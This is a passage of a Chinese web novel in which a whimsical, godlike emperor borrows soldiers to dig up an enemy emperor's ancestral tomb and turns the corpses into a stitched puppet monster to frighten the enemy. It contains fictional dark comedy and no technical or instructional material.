谢吾德没有真的被打到,甚至他自己没有什么感觉,顶多是本能地闭上了眼睛。 可是换一个角度来看,就好像谢吾德被人打了一样。 谢吾德才不接受这种事情,他可是谢吾德,这个世界的神明,这照片要是传出去的话,那别人还怎么活? 所以林耀祖很失望地发现自己刚刚好像没截下来。 刚刚截了屏的人,忽然发现照片都被删除了。 有的人还试图从录屏中截屏,结果电脑当场爆炸。 谢吾德销毁了一切证据,只要他不允许,没有人会把这件事情往外继续传的。 他又看了看林耀祖身边的那一堆抱怨电脑坏了的弹幕,又觉得好像这还是不太保险。 这些网友还是会用其他方式向外传的。那要不要把他们全都毒哑,或者是废掉他们的手? 林耀祖注意到谢吾德的眼神,忍不住打了一个哆嗦:难道谢吾德实际上是能够看到弹幕的? 谢吾德就是一个很诡异的人。 【谢吾德。】温特警告他不要乱搞。 现在半夜十二点正是他工作的好时候。 温特刚刚根本就没分神注意谢吾德在干什么,但是他这边有警报,谢吾德只要做不太寻常的动作就会响。 谢吾德哼了一声。 林耀祖站得笔直。 她觉得自己和一群人似乎从危险中脱离出来。 谢吾德示意邱腾坐下来。 邱腾身高将近一米九,谢吾德身高只不过一米八多一点。 谢吾德就不喜欢别人比他高。 他在很多幼稚的方面都很有竞争意识的。 邱腾觉得这样不太好,但是谢吾德只需要邱腾听他命令就好:“或者我站在你桌子上也行。” 谢吾德熟练使用拆屋效应,而且他也真不介意拆了。 这可真是…… ……成何体统。 邱腾脑子里闪过了这四个字。 他也是第一次意识到自己原来是这么迂腐的一个人。 “陛下,您随意就好。”邱腾抹了一把自己的脸,怀疑自己其实还没睡醒,不然这个现实怎么会这么抽象。 第65章 “邱将军有没有被我突然出现吓到?我这样半夜点着灯看着你,配着我这不太对劲的眼睛颜色,是不是就跟鬼一样?”谢吾德巴拉巴拉的。 谢吾德还把烛台放在自己的下巴下面。 过了两秒,他拿开烛台。 有点烫下巴。 他不喜欢胡子这种很容易藏污纳垢的东西,所以下巴没有什么抵抗温度的能力。 谢吾德一般不会屏蔽自己对外界的感知。 他感知外界的方式和普通人类没太大的差距,顶多再多一个对法网的感应,所以他也不喜欢失去某种感知的感觉。 邱腾脸都憋得通红:“……噗,咳咳咳咳咳。” 原来您知道啊。 他是个忠君爱国的人,是不需要谢吾德营造什么皇帝的至高无上就会服从皇帝权威的人。 他的爱国是站在更高层面上的,爱的是这个国家所有的东西,并且将一切寄托在这个在普通人看来是国家化身的皇帝身上。 邱腾叹气。 要知道,一般皇帝招惹大臣,最好大臣完全不要生气,面上会假装一片平和。 谢吾德就是想犯贱,想要看看邱腾有多生气。 不得不说,他的很多行为都可以被称得上一句“不似人君”了。 邱腾叹气了,谢吾德就满足了。 他要的就是这个。 像谢萍那样不吭声的实在是美金。 “陛下今日怎么来……”邱腾突然反应了过来,“陛下,您不是昨天才举行登基大典吗?怎么今天就到这里了?” 邱腾之前在想谢吾德为什么要这么做,结果在问到正事的时候,他才突然反应过来。 邱腾不是反应慢的人。 忠厚老实和反应没有绝对的联系。 邱腾只是从不把皇帝列为敌人,又有点习惯谢吾德不走寻常路,所以才没有第一时间去思考这个问题。 皇帝现在应该出现在这里吗?眼前的皇帝真的是皇帝吗? 邱腾看看谢吾德的眼睛,觉得这也算是谢吾德的防伪标志了,而且之前谢吾德问的问题还真不是正常人能够问出来的。 这的确是他们家那个脑子不正常的皇帝做出的事情。 “开门进来的,没敲门,邱将军你不介意吧?介意其实也没用,我整了一个锦衣卫,到时候他们会趴在你床底听你说话。”谢吾德胡说八道中。 周围的人都安静了下来。 邱腾的眼睛里难得出现了一点惊恐。 谢吾德反思了一下,这个话题是不是有点变态?还是说邱腾有夜生活? 邱腾还是个洁身自好的人,但是话不能说绝对,总不能完全禁止人家谈恋爱吧? “陛下三思,军中的事情怎么适合被监听,臣怎么知道哪个是陛下派来的人,哪个又是敌国的探子?” 谢吾德觉得邱腾的确是个正经人,问的问题也是正经问题。 这也有可能只不过是他委婉劝说的方式之一。 “才不会这么干。”谢吾德撇嘴,“不要把我所有的话都当真啊。” “陛下是天下之主,没有人可以随意对待陛下您说的任何一句话。”邱腾实在是忍不住劝谏了几句。 谢吾德才不听。 他会尊重邱腾的人品和性格,但是他绝对不会按照任何人的话去做。 “陛下此次来,是有什么事情吗?”邱腾又问出了自己一开始就想要问的问题。 谢吾德:“跟你借几个人。” 邱腾追问:“陛下是要去做什么事情吗?” 谢吾德说道:“你别问,这事你不适合知道。” 谢吾德也不习惯用“朕”这个人称代词,但是现在在准备命令别人,或者不想让别人知道他要去做什么事情的时候,就会用“朕”这个字,直接以势压人。 他觉得这还挺好用的。 邱腾果然不问了。 邱腾却看向自己的侄子邱潇。 邱潇有点心虚,他对着手指,记得谢吾德当时的确跟他说过,是想要去“做点事情”,但没说是什么事情。 他不是忘了追问,可是谢吾德跑得很快,好像是去做准备,一转眼就不见了。 谢吾德在这边转了几圈,然后说道:“邱将军你这个地方倒是挺有味道的,你平时是不怎么洗澡?” 邱腾听着谢吾德说这话,忍不住觉得有点头疼。 这个家伙是在他的面前说,如果这句话被其他人听见多少会有点不太合适。 在荣朝当兵的大多是混不下去的人,或者是地位极为低下的人才会去当兵,所以就有“贼配军”的说法。 邱家军也没好到哪里去,最开始的构成就是盗匪。 邱腾不愿意杀了他们,只是把首恶给杀了。 如果有十个匪寇,那是人性之恶。 但是当匪寇达到两万人之后,那就不能简简单单地说这只是一群乱民了。 邱腾不愿意说皇帝有错,但是朝廷绝对是有问题的。 邱腾不懂社会学,不过他有作为人的怜悯。 所以他才求谢珖让他们赎罪从军。 不过,一个皇帝说这种话总归是不太好的。 他为这个荣朝也算是尽心竭力了,大概只有真正忠心耿耿以及爱护属下的人,才会为思考这种问题。 “这里比较冷。”邱腾只是简单地说,“将士们也挺为难的。还请陛下不要在士卒面前说这些。” “哎。”谢吾德有点无奈。 所以他和邱腾打交道不多。 他虽然更欣赏邱腾的人品,但是果然这种正直过头的人没意思,他又不好意思直接对对方说重话。 难怪皇帝都说亲贤臣远小人,结果到最后都是亲小人远贤臣。 果然还是余文彦这种有点小人的家伙更有意思,还有王旭那种身段柔软的家伙玩弄起来没有心理负担。 “邱将军不借人吗?”谢吾德只是这么说。 “邱潇,你去把谢玖叫过来。”邱腾也略过了这个话题。 他不可能逼皇帝表态或者认错,邱腾不是那样的人,谢吾德那不是荣朝仁宗那种好脾气的人。 谢吾德在百分之九十九的事情上都是嘴上死不认错的。 谢吾德开口要人,邱腾是一定会给的。 将在外,军令有所不受。 但是邱腾不是这一规则的坚定执行者。 而且谢吾德现在都站在了他的面前,这也算不上“在外”了。 邱腾是不会和谢吾德一起去的,他可是将军,他有正经事要去做。 而且谢吾德一般都没什么正经事,谁知道他要折腾到什么时候? 派一个他的属下去就好了。 希望谢玖这一次能靠点谱吧,至少在谢吾德折腾的时候能稍微拦一下. 叫醒邱家军的是皇帝。 万恶的资本,亿恶的封建。 皇帝想叫人几点起来,别人就得几点起来。 本来邱家军的人不太高兴,但是邱家军纪律严明,是断不会磨磨蹭蹭的。 而且他们一看谢吾德在这里,本来低落的心情一下子就明媚了起来。 谢吾德可是邱家军的传奇。 这里非常空旷。 邱腾住的地方虽然也有一股寒气,但是没有风。 林耀祖搓着自己的胳膊,感觉风一吹,自己的体温就往下掉,嘀嘀咕咕地说:“这里好冷啊。” 这里确实比锦京纬度要高一些,而且更靠近内陆,气候干旱,昼夜温差相对比较大一点,这让夜晚的空气变得更加硬,变得有点难耐了。 林耀祖觉得自己脸上的皮肤都要被吹皱了。 现代人无论男女,都不会喜欢脸上干巴巴的。 谢吾德嘲笑道:“你可真够虚的。” 他在风中头发被吹得也有点乱。 他还是个自来卷,所以自带蓬松感。 谢吾德在来之前就让他们准备一下,林耀祖可能准备了,但还是穿得不多。 林耀祖不允许有人这么侮辱自己,她可是大猛攻,她对谢吾德说:“陛下现在不冷,难道不是因为陛下使用了什么神奇的能力吗?如果陛下撤掉自己的这些神奇的能力的话,说不定陛下和我一样,都要被冻成……” 林耀祖把她要说的那个“狗”字咽了下去:“冻得哆哆嗦嗦的。” “那是朕的本事。”谢吾德骄傲地哼了一声,“说不定是因为你比我矮太多了,太矮的人在保持体温方面没什么优势哦。” “所以陛下果然还是用了点什么吧?”林耀祖开始犯倔,“陛下怕冷就直接说,这里没人会嘲笑陛下的。” 尔雅:“……” 懒得拦了。 谢吾德撇嘴,然后撤掉了自己的温度保持系统。 “你看,我就是不冷。”谢吾德给林耀祖展示,“哦,忘了你这个愚蠢的人类看不出来我是开了还是关了。” 谢吾德溜达了几步,还冲着林耀祖做鬼脸。 林耀祖本来倔劲上来了,但是看到谢吾德这个动作,她忽然产生了自己和小孩子较什么劲的想法。 她真傻。 邱腾:“……”他好像也知道了为什么之前谢吾德要他坐下了。 陛下,做个成年人行吗? 谢吾德吸了一下鼻子。 林耀祖:“……”好的,她看出谢吾德真的关了。 谢吾德猛回头:“我只是有鼻炎!不是怕冷!” 因为谢吾德这一身长袍很兜风,风一吹,他看上去还怪可怜的。 林耀祖有点无奈:“陛下您还有鼻炎呐?快继续使用您的妙妙力量吧,分我一点也行。” “为什么那些家伙喜欢熏香,不就是知道我有鼻炎,他们一点香我就会绕着他们走。”谢吾德哼了一声,“真当我不知道吗?” 他才不要听林耀祖的话。 这也太直白了。 余文彦对谢吾德的话持怀疑态度,因为他曾经二皇子点评过很多次熏香,谢承修对这些东西的喜爱似乎是发自内心的,而且头头是道。 可别告诉他谢承修跟他说这些只是为了隐藏他被自己的“弟弟”吓得屁滚尿流试图让自己在对方那里闻起来很糟糕才做的事情吧? 听上去就像是在遇到熊了,先让自己物理意义上屁滚尿流,让熊主动嫌弃这个人坏掉了不能吃一样的传言。 没人会这么做吧? 但是余文彦想想这家人的德行,又觉得这好像的确是这家人能做出来的事情。 这种胆子不大但又好面子……好吧,这点可能适用于所有上流人士。 林耀祖觉得自己好像明白了为什么荣武宗朝熏香那么发达,之前:“原来是驱邪。” 以前他们还觉得这是一种民间的倾向,但是果然这个世界上没有无缘无故的爱吗? 屏幕后的历史学家紧急停下,开始记录这件事。 “那是。”谢吾德很喜欢林耀祖的用词,他又吸了一下鼻子。 林耀祖:“……”她已经开始难受了。 邱腾看着林耀祖,他对林耀祖出现在这里并没有太多的意见。 反正谢吾德很离谱,如果他让女人当太子都不值得奇怪。 他不太满意的是林耀祖说话时的态度。 这可是皇帝,她怎么可以这么和皇帝说话?这合适吗? 但是谢吾德不说,就证明他可以接受林耀祖的这种态度。 邱腾不太确定这算不算是谢吾德特殊爱好中的一部分? 谢吾德也的确没把林耀祖的态度当成一回事。对他来说这很正常,这算不上是什么冒犯。谢吾德又不讨厌林耀祖,没必要因为林耀祖的一点态度问题,就和她斤斤计较。 谢吾德没有闲着,在那些人聚集过来的时候随手喂了一下寄养在邱家军的“狗”。 “狗”今天不太健康,谢吾德想了想,干脆把人带走了。 看着人都到齐了。便带着人出了营门,就来到了一处山林。 邱腾在远处看着这一幕,瞪大了眼睛。 他算是明白了什么叫开门就进来了,也算是明白了谢吾德是怎么突然就从这里回到锦京了。 鬼能拦得住他。 邱腾看着谢吾德的背影,心里倒是起了一点疑心。 这不符合礼仪,也不符合兵书,这倒的确是谢吾德的性格,但是不知道为什么,他总觉得自己从谢吾德的行为中看出了一点点心虚的味道。 还让人拿着铲子走。 说要让萧国皇帝生气。 真希望这个家伙不是去刨坟的。 希望谢吾德底线高一点. 这里的温度进一步降低。 林耀祖觉得自己还是穿太少了。 她感觉这已经不是长江以北,而是黄河以北了,边上一望无际的是大草原。 她呼一口气都感觉有一层白雾笼罩在了她的脸上。 这里的气温绝对已经达到了零度一下。 刺骨的寒风不停地往她的衣服里钻。 林耀祖抱住自己的怀里的铲子,和尔雅还有谢萍挤在一起。 她怀念自己的暖宝宝了。 谢吾德还在吸鼻子,只不过他似乎是真的不冷,没有像林耀祖那样瑟瑟发抖,只是左看看右看看,在这片山林里找些什么。 林耀祖想要再找谢吾德商量一下提供全队温度支撑的事情。 他顶得住,其他人顶不住。 这种事情对谢吾德就是举手之劳。 然而林耀祖晚了一步,因为有人先凑到了谢吾德身边和他说话。 对于邱家军的人来说,这种温度暂时还能撑得住,而且他们觉得手上拿着铲子,一会干活肯定就会热起来了,相比起这个,他们有别的问题想要问。 “陛下,之前发给我们每一个人的是陛下您亲自赠与的吗?是每个人都有吗?” 第66章 “嗯哼。”谢吾德矜持地点头。 天幕的事情并没有传到邱家军这里。 这和这里的位置息息相关。 这里是荣国为数不多还在长江以北的地方。 这里对外来人员一直都很警惕,邱腾在往萧国掺沙子的时候也十分注意保护自己控制的地方不要被渗透,所以临川陈氏根本就没有找到往这边放天幕的机会,直接被这附近的百姓给杀了。 这里沦为和萧国的交战的边境已经有十余年了,伴随着人口数量下降的是民风日渐彪悍,别说是经常出去的男人,就连有些女人手上都沾过人命。 杀个来自锦京的世家子弟,对于这些人来说根本就没有任何难度…… 在那位临川陈氏的人被杀掉的时候,这群百姓还非常充满偏见地说道:“臭外地的,往我们这里来掺沙子了。” 这些年萧国和荣国连年彼此之间的征伐,早就让这里的人对外来者充满了警惕之心。 一旦觉得有些人不对劲,就直接杀了。 叽里咕噜地狡辩什么呢? 人死都死了。 在这个最接近乱世的地方,是不会有人为了死人去做什么的。 更何况对于住在这里的人来说,今天的仁慈说不定就是明天的祸事。 百姓们下手干脆,临川陈氏的子弟也没弄出什么动静来,所以消息根本就没有传到邱腾的耳中。 这里的百姓也不是瞒着邱腾,而是觉得这群人感觉不值得一提。 再说了,邱将军那么忙,没必要打扰他。 从那些人身上爆出来的金银就归他们了. “陛下,陛下,你是怎么把东西送到每个人的手上的?之前弟兄们也都被吓到了。” 如果他们没看到是谢吾德做的,那还真是够吓人。 今天只是食物,但是万一是毒药呢? 他们这些刀口舔血的人对这些事情格外敏感,第一时间想到的也是这种事情。 谢吾德只是得意洋洋地说:“伟大,无需多言。” 虽然没有人能够听得懂他的梗,但是谢吾德一向擅长沉浸在自己的世界中。 他没有说理由,但是没人觉得这有什么问题。 他们看不起那些从锦京来的文官,觉得他们只会在嘴巴上夸夸其谈,一副懒得和人多说的架势,实际上什么都做不成。 但是谢吾德是真的什么都能做成,他不愿意和人多解释那也变成了理所当然的傲慢。 谢吾德是有资格傲慢的。 就算他之前把萧国的将军当成狗,但是绝大多数人也只是觉得那个萧国将军有点可怜,却并不觉得谢吾德没资格。 谢吾德在他不怎么讨厌的人面前,性格并不严肃,也不要求别人严肃,所以他们都和谢吾德很聊得来。 谢吾德并不是句句有回应,是选择性地回答,但是这对于这群普通将士来说,已经是态度好得不可思议了。 “陛下,周边城里的所有人手上都有了您发的那些白色的面粉。我老家的人也有吗?” “只要你老家的人还在荣国,那就有。”谢吾德说道,“我倒是想每一个人都给,但是你们也知道,咱们有一些地和人在萧国人手里,如果把东西直接给他们,是有害无益的。” 这话说得其他人连连点头。 他们甚至有点感动,原来残暴的陛下居然还会有这种贴心。 他虽然杀人放火,但是他的心是软的。 相比起谢珖,谢吾德愿意承认那些没有渡过长江的百姓还是荣国的人,那就很好了。 他们听不懂那些人叽里呱啦地扯那些大道理,其实那些人甚至都不愿意和他们讲太多,但是他们有着最朴素的感情。 他们不喜欢同胞成为敌国下等人,也不喜欢朝廷把子民干脆利落地抛弃。 邱家军算是古代军队的道德楷模级别的存在了。 匪过如梳,兵过如篦这种事情在这里是绝对禁止的,邱腾也不允许将士在破城之后大肆劫掠。 他们做这一切是出于最朴实的道德和感情,是出自对自己国家和民族的荣誉和同情的。 虽然和现代中国的军队还差很多,但是绝对是值得在历史上被津津乐道的。 谢吾德在这件事情上没拆屋,那完全是因为谢珖和谢珖的亲爹和亲哥把这底线拉得太低了,显得谢吾德这个并不把自己当人的人都显得那么仁慈了。 谢吾德想到“仁慈”这两个字出现在自己的身上,他的表情就有一点扭曲。 这种词在他这里不是什么好词。 亚夏太过于坚定甚至到了病态的道德观甚至都给谢吾德带来了不少负担。 谢吾德觉得还是做混蛋更轻松自在一些。 谢玖等着他们说完了,才继续问:“陛下,我们这是去哪里呢?” 直到现在谢伍德才重新把温度隔绝开了一点,他装作自己忘记了之前林耀祖的话一般,就好像是真的好心。 谢吾德一般不太会去理会人与人之间的那些弯弯绕,不过他也能够猜到是邱腾的示意。 谢玖就是邱腾最忠实的扈从,是邱腾死忠中的死忠。 邱腾让他做什么,他是绝对不会拒绝的。 邱腾看上去是一个直率的将军,但是他的心眼其实并不少,只是他不喜欢滥用,搞得勾心斗角相互猜忌。 顶多是用在这种地方,用在方便双方进行温和沟通的地方。 谢吾德不想让邱腾知道他把谢珖给杀了。 谢吾德不是害怕邱腾知道,他也不觉得这是羞耻的事情,而是这样的人很麻烦。 谢吾德不是很擅长应付这种性格正直认真的人。 这种人性格实在是太顽固了,而且意志坚定,会一直向他们自己所认定的道路走下去,并且会努力劝说谢吾德。 但凡有一点私心,谢吾德都可以直接把人杀了。 但是邱腾没私心。 那就很讨厌了。 所以谢吾德就犯起了拖延症。 等着邱将军他自己做好了心理建设再来迎接噩耗。 如果没有邱腾的命令,谢玖也不会主动去问的。 谢玖也很喜欢谢吾德对谢珖和萧国的态度,尤其是他当初对很多事情展现出来的强硬态度的态度,可没少让邱腾的头号死忠粉谢玖兴奋。 所以谢玖对谢吾德做的许多事情都是不予理会的。 “你觉得我们像在做什么?” 谢吾德的回避实在是让谢玖觉得觉得不安。 如果谢吾德逃避问题的话,那就说明问题很大了。 谢玖还没说话,边上的士卒就跟谢玖说:“哎呀,谢指挥使您管这个干什么?陛下肯定是有自己的想法的。” 这一些邱家军的人相当崇拜谢吾德。 锦京那边很多人对谢吾德的事情还不是很清楚,可是他们却知道谢吾德的本事可大了去了。 如果不是邱将军是他们的老上司,实在是个仁义人,他们都想要问一问谢吾德需不需要贴身侍卫这样的角色。 这群家伙实在是不懂规矩。 如果换个时间换个地点,谢玖早就会瞪他们了。 只可惜,现在谢吾德在场,他也不好和这群人明说什么。 谢玖只能暂时放弃了。 “就在这里了。”谢吾德把铲子往边上随手一插,“把这里的东西都挖出来吧。” 谢吾德吭哧吭哧地刨着坑,他把自己的袖子扎起来,看上去就像是个战斗力超级加强的小孩子一样。 林耀祖手里也拿一个铲子,她忍不住问谢吾德:“陛下能不能直接把这里的地给掀了吗?” “今天是出来玩的。”谢吾德说。 林耀祖:“……” 不是给谢萍出气吗? 谢吾德挖的很起劲,他还给自己的铲子加了一点助力,只要一点力气就能挖出满满一铲子的土,正反馈给得很频繁,看着土坑一点点扩大,就像是嗑瓜子一样解压。 平时没什么机会挖坑。 谢吾德虽然想干什么就能立刻去干什么,但是没有什么理由的话,果然还是显得有点单调。 “陛下什么时候打回萧国呢?”在挖坑的时候有人问。 大家也就是挖累了随口闲聊几句。 “我们现在不就在萧国了吗?”谢吾德说了这样一句话。 这引得大家一愣。 这也不值得意外,现在这里的温度感觉就像是萧国的温度。 不过有人还是说了:“不过陛下什么时候能回萧国报仇?” “现在也就在报仇呢。”谢吾德说道。 他这话说得神神秘秘的,谢玖眼皮一跳,他觉得谢吾德大概要说一些让人震惊的话了。 果不其然,他听到谢吾德说:“现在我们刨的就是萧国皇帝的祖坟呢。” 有士卒手中的铲子掉落在地上。 他们目瞪口呆地看着谢吾德,怀疑自己是不是听错了什么。 谢玖深深地叹了一口气。 谢吾德之前回避掉的问题的答案就这么被他说出来了。 谢吾德很擅长让所有的人沉默。 不愧是谢吾德,半夜不睡觉跑到他们这边来,就是为了刨萧国皇帝的祖坟吗? 可是这样有什么意义呢? 刨人祖坟固然可以让萧国的皇帝震怒,但是比不上去杀了萧国的皇帝。 谢吾德有这样的能力就好像是皇帝的金锄头一样。 谢玖看看谢吾德手里的铲子,觉得谢吾德大概真的有金锄头这种抽象的东西。 谢玖想,他如果回去和邱腾将军说起这件事情的话,将军会不会被他气个半死? 邱腾虽然以皇帝的命令为主,但是他是个正直的人,在有些地方不比朝堂上的那些老古董更开明,这种事情他能接受吗? 就在谢玖心里为邱腾将军的心血管健康担忧的时候,有人开口了,说道:“陛下,我们光用铲子挖,得挖到什么时候才能把萧国皇帝的祖坟刨出来呀?” 谢玖狠狠地瞪了对方一眼。 就你话多!就你想到了这个问题!长嘴没别的地方用了是吧? 挖出来是什么好事吗? 谢吾德说道:“生活需要一点仪式感。而且如果刨都不刨,直接让我把人震出来,你们觉得这有复仇的快感吗?” 有人想了想,然后说道:“算是有吧。毕竟这看上去很像天罚,是不是?” 谢吾德也忍不住沉默了两秒。 这是哪来的铁憨憨?怎么一点眼色都没有? 他可是皇帝,皇帝想要听的可不是反驳他的话。 说“对对对陛下圣明烛照”可以了,别的话完全没有必要。 谢吾德对“昏君”这个身份相当之有代入感。 谢玖踢了那个人一脚:“赶紧去干活,别说话。” 那人其实也意识到了自己的话有点多,谢玖这么一踹,他就借坡下驴。 唯一什么都不需要做的就只有谢萍了。 谢萍看着这群大人忙忙碌碌的,忍不住眨了一下自己的眼睛,歪着头看着他们。 在听到谢吾德说这是萧国皇帝家的祖坟的时候,她浑身上下一个激灵,扑到谢吾德的身边说道:“陛下,我来帮您挖坑吧!” 说到这个她就来劲了,但是谢吾德却把自己手中的铲子往边上一拿:“我不要。” 就是因为他想挖,他才来这里挖的。 谢萍来代替他真是胆大包天。 谢萍被赶走了。 林耀祖看着谢萍那委屈的小表情,随口安慰道:“不然我把我的铲子给你,你来挖两下?” 林耀祖在这里就跟滥竽充数的一样,她完全比不过军中的那些壮汉,她也不是很想挖坑,所以把铲子让给谢萍也行。 林耀祖的话刚说完,他就听到谢吾德在那里喊:“少装好人了。你现在的效率很不乐观。快点干活!” 谢吾德发出了需要别人向他献上剩余价值的声音。 林耀祖觉得这次谢吾德不是欺负谢萍,其实是在怼她. 萧国还是相当受荣国的影响的,他们现在的坟墓受到荣国的影响,是有比较多的建筑以及守陵人的。只是现在还早,守陵人才刚刚起床。 谢玖本来以为谢吾德随便玩一会就会玩够,但是没想到谢吾德越来越上头了。 “陛下,陛下,陛下!”谢玖不得不大声喊道,“眼线刚刚汇报,萧国的守陵人正在往这边巡逻。” 谢玖实际想要表达的是:陛下别玩了,跑或者直接把尸体从地下薅上来都行。 周围的人也听到了谢玖和谢吾德之间的对话,不过他们也都没有表现出多少惊慌的神色。他们都是和谢吾德一起出去战斗过的人,知道谢吾德的战斗力几何。 谢吾德看着自己挖的已经有十米乘十米乘两米的大坑,这个效率是第二名和第三名加起来的两倍。 他是第一。 他扭头看向谢玖说道:“人在哪?” 谢玖让眼线指了一个方向。 谢吾德看向了之前一直在挖坑的“狗”。 这个“狗”其实是个人,是萧国的将军,但是谢吾德抓他是为了玩,现在就是玩的时候。 谢吾德对那个人说道:“这样,你去把那些守陵的人都给杀了,我放你回去,如何?” 那个曾经的萧国将军只是看了谢吾德一眼,但是却并没有答应下来。 先帝已经离世,这个萧国的将军来自更北的草原,是被先帝一力提拔的,他觉得人死了就是死了,所以真的可以跟谢吾德来挖先帝的墓。 但是要是说把兵锋对准那曾经和他一样都对萧国忠心耿耿的守陵人的话,那他觉得自己对不起过去的自己。 谢吾德撇撇嘴,他也只是随便问问看,没指望这个人真的能做点什么。 “狗”是这样的,这个效果将军的精神防线已经彻底被他击垮了,要是给他做一套测试,十有八九精神分裂了。 他的效率排倒数第一。 谢吾德觉得他已经变成了鸡肋。 “那我去处理一下。” 谢吾德一会就拍拍手回来了,对谢玖说道:“好了,我们现在继续吧。” 那些守陵的人全都消失在了这片大地里。 谢玖觉得谢吾德挖坑诱因,但是没办法,谢吾德才是这里掌控一切的人。 “陛下,您刚刚登基,真的不考虑回去吗?世家能够安稳得下去吗?” 谢吾德完全不把这当成一回事:“如果他们能够搞事就好了,这样我就能够回去理直气壮地大开杀戒了。” 余文彦忽然想到了王旭。 王旭真的能安静下来吗? 这个人可是想到锐意进取的一个人。 可是他看看那个萧国将军,觉得他好像随时能躺下来让别人给他活埋了,又觉得要相信谢吾德折磨他看不上眼的的人的李璐。 直到谢吾德的肚子叫了。 谢吾德终于停止了这个动作,他打了一个响指,地面裂开了。 一具尸体从里面飘了出来,上面的肉基本上已经烂了大半。 林耀祖有点犯恶心。 谢吾德把上面的金银首饰给丢掉。 “说起来,萧国的太后是不是也埋在这附近呢?” 谢玖没回答,但是谢吾德没过多久又搞到了一具尸体。 谢吾德先把谢玖他们送回去了。 把人送回去的并不复杂,直接把人丢回去就行。 就是之前没有见到过这一幕的人,看到这里会感觉比较惊悚。 和之前他们出去的时候不同,这一次邱家军的人基本上都醒了过来. 第二天,林耀祖和谢萍看到了一个缝合的怪物。 那个怪物僵硬地活动着它的身体。 它已经没有那么腐烂了,但是却又给人一种摇摇欲坠的感觉。 怪物的一只眼睛像是属于女性的眼睛,绝大部分脸都是属于男性的,但是双手又像是女性的,胸口平坦,既有男性的特征,又有女性的特征。 它那男性女性的交界处便是缝合线一般的东西。 它歪着自己的脖子,腿一高一低地往前走着,手腕往前伸着,但是手掌却垂了下去。 这仿佛是恐怖片里的场面让林耀祖忍不住尖叫了起来,一屁股摔在地上,双腿拼命地往后蹬着。 她还很义气地没有忘记谢萍,抓着谢萍,但是谢萍原本没被吓到,被林耀祖的动作给吓到了,这么一拉,谢萍也摔在了地上,被林耀祖拖着走。 “哈哈哈哈哈哈哈!”谢吾德笑得快要岔气了。 他太缺德了。 谢吾德的大笑唤回了林耀祖快要飘走的魂。 “陛下,这是什么?”林耀祖被尔雅拖了起来。 尔雅略微皱眉看着这个怪物,她忍不住皱眉。 她觉得谢吾德像是在侮辱人的尸体,遮掩顾总不太好。 “来见一下萧国的先帝和先帝他妈!”谢吾德兴奋地介绍着自己的作品,“萧国人看到这东西肯定会吓尿的!” 灵感来于小时候看的动画,主角他妈和他爹被封在了一起。 当时他没怎么被吓到,比起之前看的电锯惊魂,这还是太小清新了,但是的确给他留下了一点震撼。 现在这就转化为了谢吾德的灵感。 他递给谢萍一个手柄:“来,玩一下,到时候我们扔到萧国,去把其他人吓尿怎么样?” 第67章 林耀祖对于眼前的画面有点拒绝,但是并不算特别恐惧,相比起之前的尸体看上去已经很好了。 控制眼前这个缝合怪的面板没有任何机械或者电子结构,只是一个写了字的木板。 谢吾德把这个木片丢给谢萍:“给你玩了。” 谢吾德不需要任何助力,能够直接控制这个缝合怪,他的思想就是最强的控制手段。 人死了之后只不过是一坨物质,谢吾德控制这些东西就跟摆弄人偶一样。 谢吾德也是第一次搞这种东西。 之前他都是在战场复活敌人,让敌人死掉的战友出手。 这招令人闻风丧胆。 谢吾德也是第一次加工。 谢吾德是永远的二十二岁,他所掌握的知识也只有二十二岁之前的知识。 他算是普通人中动手能力不错的,但是只擅长组装。 从零到一的机械装置他不太能够搞得定,这不在他二十二岁之前掌握的技能。 他信徒会的东西他虽然也能学会,但是最好用的地方基本只有迅速学会信徒的语言这一点,其他技能用起来总感觉隔着一层。 这也和信徒潜意识中认为谢吾德对这些技能的需求程度相关,他们最基本的要求就是谢吾德能听得懂他们的祈祷。 但是这玩意是谢吾德最不在意的。 就算是给信徒设置了客服的成为神明的人类其实也懒得回应他们,更别提谢吾德这种自我到了一定境地的家伙了。 解决萧国先帝和萧国先太后的事情是不可能找亚夏和温特帮忙的,找这两个人帮忙都会对伦理道德提出要求,谢吾德整这种活是不会通过审核的。 不过有科技可以让谢吾德的法术使用得更便利一点,完全是指数级别的节能。 法术就是一种“俺寻思”之力,只要能同时满足充足的能量和对于做到这件事情的信心,再加上合理的脑洞,几乎能做到任何事情。 控制这个缝合怪在法术层面上并不需要多么高深的技术。 它不需要像控制机器人一样调试代码,法术并不需要精准,只需要谢吾德自己的脑海中的概念,几个选项就足够用了。 谢吾德在玩的时候一般不会在意这点挥霍。 他玩了一会就觉得没意思了。 长得有点缺乏美感。 他看过恐怖片血浆片,但是对这些东西缺乏兴趣。 谢萍说道:“陛下,之前听邱将军说,萧国人似乎已经陈兵前往边境了。我可不可以用这个东西去吓唬一下萧国的那些将军或者士兵们?” 谢萍很希望做些什么,为了得到大人的认可,也是为了复仇。 谢吾德想了想,想到邱腾之前好像的确和他提到过这事,好像还写信跟他要粮草了来着。 谢吾德早就把这件事情忘在了脑后,他只是觉得这似乎不是一件很重要的事情。 谢萍知道这句话是因为今天邱腾跟着谢吾德从旁敲击了一番,但是谢吾德当时在看别人都看不见的小说,所以压根就没注意听他在说什么。 谢吾德还算尊重邱腾,但是和邱腾说话实在是太没意思了,如果不是明着被发现,他就拒绝沟通。 给粮草算不上是什么大事,他们在月球背面就有一大片全自动机械化、在二十一世纪末正式建造投产的农业基地,十万年过去了,修一修还能用,完全够喂饱这个世界了。 不过这总归是件小事,谢吾德想着还是应该敦促一下亚夏和温特的进度,让他们赶紧把其他更高效率的人工合成食物给投产了。 省得谢吾德直接花费能量去制造。 用能量直接创造食物也不是不可以,但是还是太浪费了。 一斤的金子和一斤的粮食消耗的能量完全一样,这并不以人类世界的价值判断,而是质能转换。 他打算先把谢萍打发去玩。 就在谢吾德抬起手的时候,他听到谢萍似乎有一点委屈地问道:“陛下,您宁可复活萧国的先帝,也不肯复活我的母亲吗?” 谢吾德扭头看着谢萍,他有点意外谢萍说出了这种话。 这对谢萍这个人来说有点不可思议。 谢萍不是什么充满勇气的人,相反,因为她过去的经历,她其实是有点胆小的。 疯狂是真的,胆小也是真的。 就像是那些喜欢叫的小狗一样,都只不过是没有安全感的时的自我保护。 谢吾德甚至觉得她拒绝太子之位很重要的一个原因就是觉得她无法承担这份责任,她没有足够的改变未来的自信。 不过她只是一个小孩子,一个过去梦想被破碎的孩子,缓不过劲来也很正常。 谢吾德面对谢萍的质问,他只是很平静地说道:“我和自己做过约定,我可以因为好玩复活别人,但是不可以因为同情、怜悯这样的情绪去复活别人。” 谢萍不知道谢吾德闲的没事和自己做这样的约定干什么。 